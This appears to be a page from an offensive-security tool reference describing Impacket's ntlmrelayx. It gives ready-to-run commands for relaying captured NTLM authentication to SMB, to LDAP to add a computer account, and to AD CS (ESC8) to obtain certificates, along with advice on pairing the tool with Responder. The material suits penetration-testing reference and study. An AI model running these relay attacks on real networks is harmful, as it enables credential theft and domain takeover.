Skip to content
TARGET$IP10.10.11.42$DOMAINcorp.local$USERsvc_sql$PASS••••••••••filled into every command · stored in your browser only
tools/ntlmrelayx
ntlmrelayx
NTLM relay server
The relay engine. Point it at a list of hosts without signing, and any NTLM authentication it catches is forwarded to them — to SMB, LDAP, HTTP or AD CS — then used to dump SAM, add a computer account, or open a SOCKS proxy.
pythonrelayimpacket
usage · target filled in
# relay to a list of SMB targets, keep sessions in SOCKS
ntlmrelayx.py -tf targets.txt -smb2support -socks

# relay to LDAP and add a computer account (RBCD groundwork)
ntlmrelayx.py -t ldap://$IP --add-computer

# relay to AD CS web enrolment (ESC8) and grab a certificate
ntlmrelayx.py -t http://$IP/certsrv/certfnsh.asp -smb2support --adcs

ntlmrelayx is the forwarding half of a relay chain — pair it with something that captures or coerces authentication, such as Responder. Remember to disable Responder’s own SMB and HTTP servers so ntlmrelayx can bind those ports.

SourceImpacket
LanguagePython
Part ofImpacket
TargetsSMB, LDAP, HTTP, AD CS
Related
last reviewed 2026-11-02
edit this page on GitHub →
TOOL ⌘K jump t set target search.deflance.com static · no tracking